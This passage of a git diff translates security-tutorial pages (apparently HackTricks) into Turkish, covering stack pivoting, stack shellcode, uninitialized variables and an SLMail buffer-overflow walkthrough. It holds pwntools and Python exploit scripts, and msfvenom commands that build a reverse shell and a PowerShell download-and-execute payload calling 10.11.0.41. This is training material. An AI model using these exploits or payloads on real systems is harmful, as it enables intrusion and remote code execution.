../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## References & Other Examples +## Referanslar ve Diğer Örnekler - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - - 64 bits, off by one exploitation with a rop chain starting with a ret sled +- 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. +- 64 bit, no relro, canary, nx ve pie. Program, yığın veya pie için bir leak ve bir qword için bir WWW sağlar. Önce yığın leak'ini alın ve pie leak'ini geri almak için WWW'yi kullanın. Ardından, `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturmak için WWW'yi kullanın + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır. ## ARM64 -In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**. +ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** talimatı SP tarafından işaret edilen adrese dönmez, ancak **`x30`** içindeki adrese döner. -Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. +Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz** yığında bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarsanız bile, **`x30`** kaydını **kontrol etmenin** bir yoluna ihtiyacınız olacaktır. -- prologue +- prolog - ```armasm - sub sp, sp, 16 - stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 - mov x29, sp // FP points to frame record - ``` +```armasm +sub sp, sp, 16 +stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 +mov x29, sp // FP çerçeve kaydına işaret eder +``` -- epilogue +- epilog - ```armasm - ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] - add sp, sp, 16 - ret - ``` +```armasm +ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] +add sp, sp, 16 +ret +``` -> [!CAUTION] -> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. +> [!DİKKAT] +> ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, **`SP`'yi kontrol edebilmek** (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından **epilogu kötüye kullanarak** **kontrollü bir `SP`'den** **`x30`** kaydını yüklemek ve **`RET`** ile ona dönmektir. -Also in the following page you can see the equivalent of **Ret2esp in ARM64**: +Ayrıca, aşağıdaki sayfada **Ret2esp'in ARM64'teki** eşdeğerini görebilirsiniz: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 187c832b7..2e4e26ea3 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -2,49 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**. +**Stack shellcode**, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve buna karşılık gelen bir istismar yazma şekliniz ile birlikte **pwntools** kullanarak. -### C Example: A Vulnerable Program - -Let's start with a simple example of a vulnerable C program: +### C Örneği: Savunmasız Bir Program +Basit bir savunmasız C programı örneği ile başlayalım: ```c #include #include void vulnerable_function() { - char buffer[64]; - gets(buffer); // Unsafe function that does not check for buffer overflow +char buffer[64]; +gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { - vulnerable_function(); - printf("Returned safely\n"); - return 0; +vulnerable_function(); +printf("Returned safely\n"); +return 0; } ``` +Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow açığına sahiptir. -This program is vulnerable to a buffer overflow due to the use of the `gets()` function. - -### Compilation - -To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command: +### Derleme +Bu programı çeşitli korumaları devre dışı bırakarak (açık bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - -- `-fno-stack-protector`: Disables stack protection. -- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack. -- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located. -- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development. +- `-fno-stack-protector`: Yığın korumasını devre dışı bırakır. +- `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir. +- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un nerede bulunacağını tahmin etmeyi kolaylaştırır. +- `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır. ### Python Exploit using Pwntools -Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack: - +İşte **pwntools** kullanarak **ret2shellcode** saldırısı gerçekleştirmek için Python'da bir exploit yazmanın yolu: ```python from pwn import * @@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` +Bu script, bir **NOP kaydırma**, **shellcode** ve ardından **EIP**'yi NOP kaydırmaya işaret eden adresle yazan bir yük oluşturur, böylece shellcode'un çalıştırılmasını sağlar. -This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. +**NOP kaydırma** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, tamponunuzun başlangıç adresine artı bir offset ekleyerek NOP kaydırmasına ulaşacak şekilde ayarlayın. -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +## Koruma Önlemleri -## Protections +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve kazanma fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır yoksa ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **yığın** koruması, bu bölge çalıştırılabilir olmadığından shellcode'un yığın içinde çalıştırılmasını engeller. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable. - -## Other Examples & References +## Diğer Örnekler ve Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - - 64bit, ASLR with stack address leak, write shellcode and jump to it +- 64bit, yığın adres sızıntısı ile ASLR, shellcode yaz ve ona atla - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - - 32 bit, ASLR with stack leak, write shellcode and jump to it +- 32 bit, yığın sızıntısı ile ASLR, shellcode yaz ve ona atla - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it +- 32 bit, yığın sızıntısı ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64, ASLR yok, yığını çalıştırılabilir hale getirmek için ROP gadget ve yığında shellcode'a atla {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 3ad3e61ac..57b5cca50 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -2,47 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +arm64'e giriş için şunu bulun: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code - ```c #include #include void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie, canary and nx: - +PIE, canary ve nx olmadan derleyin: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` - ## No ASLR & No canary - Stack Overflow -To stop ASLR execute: - +ASLR'yi durdurmak için: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +[**bof ofsetini bulmak için bu bağlantıya bakın**](../ret2win/ret2win-arm64.md#finding-the-offset). -To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset). - -Exploit: - +Sömürü: ```python from pwn import * @@ -73,9 +66,8 @@ p.send(payload) # Drop to an interactive session p.interactive() ``` +Burada bulunması "karmaşık" olan tek şey çağrılacak yığın adresidir. Benim durumumda, gdb kullanarak bulunan adresle istismarı ürettim, ancak daha sonra bunu istismar ederken çalışmadı (çünkü yığın adresi biraz değişti). -The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit). - -I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode. +Üretilen **`core` dosyasını** açtım (`gdb ./bog ./core`) ve shellcode'un başlangıç adresini kontrol ettim. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/uninitialized-variables.md b/src/binary-exploitation/stack-overflow/uninitialized-variables.md index 6cde48bee..81757e8a9 100644 --- a/src/binary-exploitation/stack-overflow/uninitialized-variables.md +++ b/src/binary-exploitation/stack-overflow/uninitialized-variables.md @@ -1,68 +1,66 @@ -# Uninitialized Variables +# Başlatılmamış Değişkenler {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example: +Buradaki temel fikir, **başlatılmamış değişkenlerin, kendilerine atanan bellek alanında zaten bulunan değeri alacağıdır.** Örnek: -- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it. -- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location. +- **Fonksiyon 1: `initializeVariable`**: Bir `x` değişkeni tanımlıyoruz ve ona bir değer atıyoruz, diyelim ki `0x1234`. Bu işlem, bellekte bir yer ayırmaya ve oraya belirli bir değer koymaya benzer. +- **Fonksiyon 2: `useUninitializedVariable`**: Burada başka bir `y` değişkeni tanımlıyoruz ama ona herhangi bir değer atamıyoruz. C dilinde, başlatılmamış değişkenler otomatik olarak sıfıra ayarlanmıyor. Bunun yerine, en son depolanan değeri koruyorlar. -When we run these two functions **sequentially**: +Bu iki fonksiyonu **sırasıyla** çalıştırdığımızda: -1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address. -2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there. +1. `initializeVariable` içinde, `x` bir değer (`0x1234`) alır ve bu belirli bir bellek adresini kaplar. +2. `useUninitializedVariable` içinde, `y` tanımlanır ama bir değer atanmamıştır, bu nedenle `x`'in hemen arkasındaki bellek alanını alır. `y`'yi başlatmadığımız için, `x` tarafından kullanılan aynı bellek konumundan "miras" alır, çünkü orada en son bulunan değer odur. -This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory. +Bu davranış, düşük seviyeli programlamada önemli bir kavramı gösterir: **Bellek yönetimi kritik öneme sahiptir** ve başlatılmamış değişkenler, istemeden bellek içinde kalan hassas verileri tutabilecekleri için öngörülemeyen davranışlara veya güvenlik açıklarına yol açabilir. -Uninitialized stack variables could pose several security risks like: +Başlatılmamış yığın değişkenleri birkaç güvenlik riski oluşturabilir: -- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data. -- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits. -- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes. -- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats. - -### Example +- **Veri Sızıntısı**: Başlatılmamış değişkenlerde depolanan hassas bilgiler, şifreler, şifreleme anahtarları veya kişisel detaylar gibi bilgiler ifşa edilebilir ve bu da saldırganların bu verileri okumasına olanak tanır. +- **Bilgi Açığa Çıkması**: Başlatılmamış değişkenlerin içeriği, programın bellek düzeni veya iç işlemleri hakkında detaylar ortaya çıkarabilir ve bu da saldırganların hedeflenmiş istismarlar geliştirmesine yardımcı olabilir. +- **Çökme ve Dengesizlik**: Başlatılmamış değişkenlerle ilgili işlemler, tanımsız davranışa yol açabilir ve bu da program çökmesine veya öngörülemeyen sonuçlara neden olabilir. +- **Rastgele Kod Çalıştırma**: Belirli senaryolarda, saldırganlar bu güvenlik açıklarını kullanarak programın yürütme akışını değiştirebilir ve rastgele kod çalıştırmalarına olanak tanıyabilir; bu da uzaktan kod çalıştırma tehditlerini içerebilir. +### Örnek ```c #include // Function to initialize and print a variable void initializeAndPrint() { - int initializedVar = 100; // Initialize the variable - printf("Initialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); +int initializedVar = 100; // Initialize the variable +printf("Initialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); } // Function to demonstrate the behavior of an uninitialized variable void demonstrateUninitializedVar() { - int uninitializedVar; // Declare but do not initialize - printf("Uninitialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); +int uninitializedVar; // Declare but do not initialize +printf("Uninitialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); } int main() { - printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); +printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); - // First, call the function that initializes its variable - initializeAndPrint(); +// First, call the function that initializes its variable +initializeAndPrint(); - // Then, call the function that has an uninitialized variable - demonstrateUninitializedVar(); +// Then, call the function that has an uninitialized variable +demonstrateUninitializedVar(); - return 0; +return 0; } ``` +#### Bu Nasıl Çalışır: -#### How This Works: +- **`initializeAndPrint` Fonksiyonu**: Bu fonksiyon bir tamsayı değişkeni `initializedVar` tanımlar, ona `100` değerini atar ve ardından değişkenin hem bellek adresini hem de değerini yazdırır. Bu adım basittir ve bir başlatılmış değişkenin nasıl davrandığını gösterir. +- **`demonstrateUninitializedVar` Fonksiyonu**: Bu fonksiyonda, bir tamsayı değişkeni `uninitializedVar` tanımlıyoruz ancak onu başlatmıyoruz. Değerini yazdırmaya çalıştığımızda, çıktı rastgele bir sayı gösterebilir. Bu sayı, o bellek konumunda daha önce bulunan veriyi temsil eder. Ortama ve derleyiciye bağlı olarak, gerçek çıktı değişebilir ve bazen güvenlik nedeniyle bazı derleyiciler değişkenleri otomatik olarak sıfıra başlatabilir, ancak buna güvenilmemelidir. +- **`main` Fonksiyonu**: `main` fonksiyonu yukarıdaki her iki fonksiyonu sırasıyla çağırarak başlatılmış bir değişken ile başlatılmamış bir değişken arasındaki farkı gösterir. -- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves. -- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon. -- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one. +## ARM64 Örneği -## ARM64 Example - -This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown. +Bu, ARM64'te hiç değişmez çünkü yerel değişkenler de yığında yönetilir, bunu gösteren [**bu örneği kontrol edebilirsiniz**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index fb6f62862..0024fb09e 100644 --- a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,21 +1,18 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) +# Windows Exploiting (Temel Kılavuz - OSCP seviyesi) {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **SLMail hizmetini kurmaya başlayın** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## SLMail hizmetini yeniden başlatın +Her seferinde **SLMail hizmetini yeniden başlatmanız** gerektiğinde, bunu Windows konsolunu kullanarak yapabilirsiniz: ``` net start slmail ``` - ![](<../images/image (988).png>) -## Very basic python exploit template - +## Çok temel python exploit şablonu ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Immunity Debugger Yazı Tipini Değiştir** -## **Change Immunity Debugger Font** +`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` yolunu izleyin. -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **İşlemi Immunity Debugger'a Bağla:** **File --> Attach** ![](<../images/image (869).png>) -**And press START button** +**Ve START butonuna basın.** -## **Send the exploit and check if EIP is affected:** +## **Exploit'i gönderin ve EIP'nin etkilenip etkilenmediğini kontrol edin:** ![](<../images/image (906).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +Hizmeti her kırdığınızda, bu sayfanın başında belirtildiği gibi hizmeti yeniden başlatmalısınız. -## Create a pattern to modify the EIP +## EIP'yi değiştirmek için bir desen oluşturun -The pattern should be as big as the buffer you used to broke the service previously. +Desen, daha önce hizmeti kırmak için kullandığınız tampon kadar büyük olmalıdır. ![](<../images/image (420).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +Sömürünün tamponunu değiştirin ve deseni ayarlayın ve sömürüyü başlatın. -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +Yeni bir çökme görünmelidir, ancak farklı bir EIP adresi ile: ![](<../images/image (636).png>) -Check if the address was in your pattern: +Adresin deseninizde olup olmadığını kontrol edin: ![](<../images/image (418).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +Görünüşe göre **buffer'ın 2606 offset'inde EIP'yi değiştirebiliriz**. -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +Bunu, exploit'in buffer'ını değiştirerek kontrol edin: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +Bu tampon ile EIP çökmesi 42424242 ("BBBB")'ye işaret etmelidir. ![](<../images/image (874).png>) ![](<../images/image (92).png>) -Looks like it is working. +Görünüşe göre çalışıyor. -## Check for Shellcode space inside the stack +## Yığın içinde Shellcode alanını kontrol et -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B, herhangi bir güçlü shellcode için yeterli olmalıdır. +Tamponu değiştirelim: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +yeni exploit'i başlatın ve EBP'yi ve kullanışlı shellcode'un uzunluğunu kontrol edin ![](<../images/image (119).png>) ![](<../images/image (879).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +Zafiyetin ulaşıldığında, EBP'nin shellcode'a işaret ettiğini ve burada bir shellcode yerleştirmek için yeterli alanımız olduğunu görebilirsiniz. -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +Bu durumda **0x0209A128 ile 0x0209A2D6 arasında = 430B.** Yeterli. -## Check for bad chars - -Change again the buffer: +## Kötü karakterleri kontrol et +Tamponu tekrar değiştirin: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +Kötü karakterler 0x01'de başlar çünkü 0x00 neredeyse her zaman kötüdür. -The badchars starts in 0x01 because 0x00 is almost always bad. +Bu yeni tampon ile istismarı tekrar tekrar çalıştırın, işe yaramaz olduğu tespit edilen karakterleri silin: -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +Örneğin: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +Bu durumda **0x0A karakterini kullanmamanız gerektiğini** görebilirsiniz (0x09 karakteri nedeniyle hafızada hiçbir şey kaydedilmez). ![](<../images/image (111).png>) -In this case you can see that **the char 0x0D is avoided**: +Bu durumda **0x0D karakterinin kaçınıldığını** görebilirsiniz: ![](<../images/image (1098).png>) -## Find a JMP ESP as a return address - -Using: +## Dönüş adresi olarak bir JMP ESP bulun +Kullanarak: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +Bellek haritalarını **listeleyeceksiniz**. Aşağıdaki özelliklere sahip bazı DLL'leri arayın: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (555).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +Şimdi, bu belleğin içinde bazı JMP ESP baytları bulmalısınız, bunu yapmak için: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**Sonra, eğer bir adres bulunursa, kötü karakter içermeyen birini seçin:** ![](<../images/image (605).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**Bu durumda, örneğin: \_0x5f4a358f**\_ +## Shellcode oluşturun ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), aynı parametreler için farklı shellcode'lar oluşturmak üzere msfvenom kullanarak başka shellcode'lar yaratmayı deneyin. -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**Shellcode'un başına bazı NOPS ekleyin** ve bunu kullanarak ve dönüş adresi ile JMP ESP yaparak exploit'i tamamlayın: ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> Kendini **üst üste yazacak** shellcode'lar vardır, bu nedenle shellcode'dan önce her zaman bazı NOP'lar eklemek önemlidir. -## Improving the shellcode - -Add this parameters: +## Shellcode'u Geliştirme +Bu parametreleri ekleyin: ```bash EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index c897d0035..20c3bce58 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,180 +1,176 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Concepts +## Temel Kavramlar -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **Akıllı Sözleşmeler**, belirli koşullar 